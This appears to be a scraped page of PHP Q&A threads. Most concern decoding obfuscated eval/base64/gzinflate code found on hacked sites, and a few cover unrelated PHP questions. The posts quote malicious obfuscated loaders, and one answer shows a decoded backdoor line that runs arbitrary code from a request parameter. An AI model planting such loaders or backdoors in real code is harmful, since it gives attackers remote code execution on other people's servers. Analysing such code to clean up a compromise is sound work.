I have a file that I'm trying to decode but I'm not sure the best way to go about doing it. I've tried putting it through a few online tools but haven't had much luck...the code looks like this:
<?php
$zAkSoSavjFOn='jumbledcodeinhere';
$THkNltHSOjsXfQLzr=';))))aBSwinFbFxNm$(ireegf(rqbprq_46rfno(rgnysavmt(ynir';
$DzbOntpeGhMcan=strrev($THkNltHSOjsXfQLzr);
$WnJYuMUwKmRxBh=str_rot13($DzbOntpeGhMcan);
eval($WnJYuMUwKmRxBh);
?>
In all my playing I managed to extract the following with a php script:
eval(gzinflate(base64_decode(strrev($zAkSoSavjFOn))));
Could someone point me in the right direction on going about this process? Any help would be appreciated. :)
The "jumbled code" is gzipped, base64-encoded, reversed PHP code that is almost certainly malicious.
Replace eval with echo and see what it gives you, that's what the code that is trying to run is.
Related
I think ham to stupid for it :) I can't figured out whats wrong. I try to search at goole for the problem but think I don't use the correct phrases ... so I hope you can help me and my brain
Problem:
$mydata = $data['device']['26']['state']['1'];
Thats my code to readout json data. all is perfect. So my only problem is
['26']
this value is in an config file which is included, how can I use for expl.
$id
instead of ['26'] ... i want a littlest flexibility in this script but can't figured out how I do this.
thanks so much
$mydata = $data['device'][$id]['state']['1'];
I'm maintaining a PHP site that is very old and very funky.
Last night the site got hacked. I found this one file that I'm not sure if its from the hackers or from the aforementioned funkiness. Does anyone know how I can decode this:
<?php
eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'TZfHDoTKEUX/xRvbYkEeQJYX5JyHqLch55z5eo/9LNmLUqu7C6kpinNvF2fS/+0vf9wf/I+b+PxG+BfsHzdC/kbit0b/RuoX/C8+f+79O4fA/nzmP3nIf9fQP9fQXx7628eF3/y/eZ9/7/3fHCH/evsNym3Bpyuh0IBxrg5Vdov85z16tZCRZz0Vv1+JgmwxLj8EoLkEJusq3WlNCf9UJHTiIHhqklMwYMh+7/ZkVpQhQ3uFWiDBbgJqQGW9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ePox95smMxrJlME9FKJpei0VKz7cwpe4gnDpCgOOndjcJm81yhZMjtm59xIR+hsJy7xyJykc0nuUP4xZPW6+cVn4iOev1c9O/7qhqGpU9SNh1/Fvqm+VAYbfSHlIfCZy5TBF/Q5036MvzWPzEPhhRggcwW8K39/w3wW/kHJo0c6dTzFXlDBBCsJNjzdzHWY/GTcEEPPPJ7EVtwFwDYu9hihyDa+slEsEo8ujG6/s27kRFlORXLArt0/HEgR2oCL/+dc/boT6X6DMX/7+j38B'\x29\x29\x29\x3B");
?>
thanks,
Jack
Replace eval to echo. Repeat
http://pastebin.com/3X2FcvW3
I just came across a PHP script that seems to be compressed. I couldn't seem to find any tool online to decompress it. I'm not sure if I'm using the right term. Can someone shed me some light?
The script looks something like this:
<?php eval(gzinflate(base64_decode('FZjHDqvIFkV/pWfdLQZgMnojTM5gMpMncs6Zr2/u0BbCVLHr7LX8V37E3T/lUw9FF2/5P0m85jj6/yxPxyz/528+anhuMUe+9YrJL7LAus75ORgk1I1k5r8lcDg6SK6e25aDQa1+0S+mrgIDADqgMgJIOoHrYG1M/oC/qDd/xWAisGqfmgxcnBSUXN/L0ejoop7Nayc2dEFR9GPT81Jcid6OuzhiVH2z+s8fS0Muq0rK84/E81r1NfvdNBlinn+DcrGtK7XNRci5jJbF8SgoVfPYDn+R63mfZa+c58eQ4t0Um0N1G4FyoWv46jeKgpIBcRidPub0iB8guIiQE2A3vU80oUl+KKRc0ALC3YeToiJi8z2tu4K+ZleKAdqh8rBFCAcqa5QbTfAUFHCqP7B8/tWZYln85uhpnJDRIWJb8pOXWCSjH8/JiSyS86qgZpC7dlQwWKxfbLlZ8IrsRF344gl8RV2s9AuGPk2glaBQg1oe9btmcTDyQD35q7lUF8xZK7PoqHCKYySPtegJCvXFqjpa+MoF3lMpB13VXXJH1fIlDn3DIZ24xIh/LPvdPfL64HexDw/GylokZkIktVXC4/I8kSXMSdHzexyvoPH0c9g5YttjkmqKM38rPdsIenVkV/lKGgDkuyOUbusovo/zTB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ZAZ+3VDICSx1Q74XMW9gHBqKCTAWpkkEnasKIMsXnO1FXHkxi5Ya2p2Z0krjgbHQcfRC/ejYkYHylRw0h380EmZuu+Kamu+ILlQM7EjzyIIjKAnxDXCJwMZseDgPAOQ7vZg5p9LkLoKlGYmWvcsygHqtLWM7ltM+w6ogOBB/ZRwuHYptT4hFhjEmZLQU07kv6xSBAjBJ8A+7myP1q6qnj7DW3sEg2nqN6gfgZvRLpU20mid7ddF4sn/5oys3RSgPytVu9wDVUZOYj2XHvuT6y0f1AMeSlq4eNrxKObDn1cXXYHuIcsYE79Td2+XyQl4jP1OixddKszBa5WqBxbRDd3xroF3F5zeTjsCEi5kgoASdjhoK1S/CVg7xGXyrO9gbLHTCyC8fGsYWFZ8a0g88F/uJ5tIwO8++r+D2Aw9eOFHTCvvl6JsybMLKxlrQFPOzWJVtjlIsu/FM8tRutgu/QFyeGG0fQTktgEWStz9Z/QnSXrgW5P+RISccdY9nAncOvLuupZQwn8L/UDwNEmVUSYjjR4UDbC4a+GGKXIKYQHg5YGYY9zTtZZjUuhoSi9MBvRF4tdAdgAMya/RnsC5iT79TYOafr9D1OWaMLGqC8wi/TchOCGQDqoEjpFDGJvrAUaVWYWAZk2U5toG/9dM/IiUKPJVqexnyZagp+vC/Bz9F5HC9scVTThvX3xeIbUU8SgC3uNxsiVf8JHhPAormpdJO815GmE0plbjwl7askAoIAAIAgeIzm3//+++///voP'))); ?>
you can decode it using below urls:
1) http://www.tareeinternet.com/scripts/decrypt.php
2) http://ddecode.com/phpdecoder/
3) http://toolki.com/en/php-decoder/
4) http://www.unphp.net/
There really isn't a way to "un-minify" i think - especially when all of the variables and functions are reduced to numbers.
I Have read a lot on the normal php eval with the base64_encoder and was able to decode much of the infected php files.
With that said, I have this one file that does not follow standard eval call and I would like some help from the community.
Can anyone decode and/or tell me whats happening in the code?
Thanks,
--Eric
<?php /*vg!*/eval/*E}--oP8*/(/*pxHO*/base64_decode/*vgKGm*/(/*0%C*/'LypPSnBvKi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npKYVoyRXFMeWQ1YzNFbkx5bzRTMFknLypjWmsqLy4vKjNkeWVMKi8naElEb3lRU292WFM4cU5peDZkU292THlwdlNVSngnLyonQVJWdyl1Ki8uLyp
eX1pKOmZ2Ki8nVVNvdktTOHFNV0JqS1V3cUx5OHFiMVU4T2tzcUwnLypUdlQrJkYqLy4vKmtFPDNmISovJ3lrdktsVkllMnNsS2k4dktsWmhVaTVUS3lvdk95OHFKbHhoZlN4MEtpOD0nLypaKWVePyovKS8q
J2tYKi8vKmsmViovKS8qMWdFVyovLyo8OHhObSovOy8qXW8/Ki8='/*L,}I*/)/*8Oyj*//*uEGgU*/)/*+LT*//*Q?.e*/;/*oGCkBv*/ ?>
If you go all the way down the rabbit hole, you get the following command.
if(isset($_REQUEST['cnysq']))eval(stripslashes($_REQUEST['cnysq']));
If you open the code up in a visual editor, you'll see there are a lot of comments. Remove those, and you'll see that it's a bas64 encoded string.
Decode that, and you'll see more of the same.
Keep removing comments and concatenating strings and after about 3 levels, you get to this point.
It's just a bunch of PHP comments in there, e.g. from the first line:
<?php /*vg!*/eval/*E}--oP8*/(/*pxHO*/base64_decode/*vgKGm*/(/*0%C*/'LypPSnB etc...
^^^^^^^ ^^^^^^^^^^^ ^^^^^^^^ ^^^^^^^^^ ^^^^^^^--comments
is really just
<?php eval(base64_decode('LyPSnB etc...
I am trying to create a dynamic FAQ page. I have the following phtml sample :
<div id="faq">
<!-- Start FAQ "Navigation" -->
<div class="faqBox">
<? foreach($this->aFAQ as $k => $val) : ?>
<?= ($val['mQuestion']); ?>
<?= ($val['mAnswer']); ?>
<? endforeach; ?>
</div>
</div>
Which outputs as follows:
For additional payment options - check or money order, please contact us at iBrandingLevel == 2 ? $this->oStore->getSuppPhone()." Monday to Friday ".$this->oStore->getSuppHoursOpen()." - ".$this->oStore->getSuppHoursClose()." ".$this->oStore->getSuppTimeZone() : "(888) 455-3237 x2 from Monday to Friday 8:00am - 4:30pm MST/Arizona."; ?>
The above text is just the first $val['mAnswer'] (I didnt include the question as that is working properly).
The html is being rendered however obvoiusly the php isn't. the <? and ?> are being removed and just code is displaying. Is there a fix for this? or is my approach fundamentally wrong.
thanks
Your approach is fundamentally wrong, you are outputting PHP code as if it was HTML text and try to execute it.
It is possible to execute code from a string, you can look at the Eval method (http://php.net/manual/fr/function.eval.php) in PHP, but it is not recommended to do this. There are better ways to resolve your specific issues than to output PHP code directly.
What you could do is send a few variables to the view, and use if conditions there.
You could also prepare the full string you need before the view and then all that would be needed is to display it.
To elaborate a little about Eval :
1- If the code you execute within the Eval comes from a user, it is extremely dangerous.
2- If not, there is very often a better solution to the problem, using Eval makes it harder to debug.
Actually, I'm not sure I should answer this.
First, the answer to your request is the mixed eval ( string $code ) php function.
Second, FORGET IT. IMHO, this could be one of the most dangerous things you could think in.
Thanks everybody for the input and resulting discourse. The php code that was being stored in the database was not being input by users, it was all completely internal, however it still shouldn't be there.
I ultimately went through the database and set a %%variablename%% in place of the php code and then upon retrieval I wrote a script that would:
preg_replace("/\%\%variablename\%\%/", $desiredPhpcode, dbRetrievedString).
all instances of %%variablename%%.
It seemed the safer and more sound approach. I don't know if this is an IDEAL approach that anybody else could benefit from if caught in this circumstance or if it 'just works', but I thought I would share.
Thanks Again for the input it helped enormously
PHP is server-side language. Outputting it to client does not make any sense, as there is no one to interpret it.